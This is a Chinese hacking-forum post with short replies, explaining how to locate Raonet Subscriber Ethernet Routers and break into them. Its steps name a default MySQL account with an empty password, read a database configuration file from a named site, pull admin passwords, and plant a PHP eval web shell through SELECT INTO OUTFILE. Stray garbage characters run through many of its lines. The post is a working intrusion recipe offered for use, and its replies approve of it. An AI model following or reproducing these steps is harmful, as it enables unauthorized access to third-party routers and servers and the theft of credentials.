利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

1：google搜索'Raonet Subscriber Ethernet Router'

" ?6 _$ F( d* W2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
8 e; N, l: z. F4 Z  B$ O: Z, f
2 q. R  `' u% L# }& r; s9 \7 I3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
2 f+ X, S$ j% _& v7 B4 Z
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......


- L  `4 ]9 m& ]
入侵步骤：

3 w$ I$ [: }* ]/ ~1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
0 K8 S. a) \$ `  E/ B' I
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
  Z( ^* Q4 L2 o( o* iselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
! c1 Z) L: y  r- wuse mysql;
1 T7 Y* L/ }0 ocreate table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
; Z/ C+ e; b; B( i* D% bselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
1 |1 e* m  \7 t2 J+ f
. Q) W# H- S1 a! b. _5:连接后门shell.php
7 i7 A5 L# K: o5 f
6. 搞定！

4 U+ @, s! j! |  s" ?

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说